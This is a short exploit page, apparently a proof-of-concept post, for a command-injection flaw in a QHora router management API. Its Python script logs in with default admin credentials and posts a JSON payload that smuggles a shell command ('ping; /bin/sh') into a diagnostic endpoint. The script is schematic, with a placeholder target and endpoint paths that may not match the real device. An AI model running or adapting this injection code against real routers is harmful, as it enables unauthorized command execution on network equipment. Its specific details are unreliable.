PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Exploit Title: QHora Improper Neutralization PoC
# Description: This script demonstrates sending a payload to a vulnerable endpoint.
# Note: Requires Administrator credentials and local network access.

target_url = "http://<TARGET_IP>/cgi-bin/api/qmanage"
session = requests.Session()

# 1. Authenticate as Administrator (Prerequisite)
login_data = {"user": "admin", "pwd": "password"}
session.post(target_url + "/login", data=login_data)

# 2. Send malicious payload with escape sequences
# Example payload injecting a command separator or control char
payload = {
    "cmd": "ping; /bin/sh", # Improperly neutralized sequence
    "arg": "127.0.0.1"
}

response = session.post(target_url + "/system/diagnostic", json=payload)

if response.status_code == 200:
    print("Payload sent successfully. Check system behavior.")
else:
    print("Failed to send payload.")
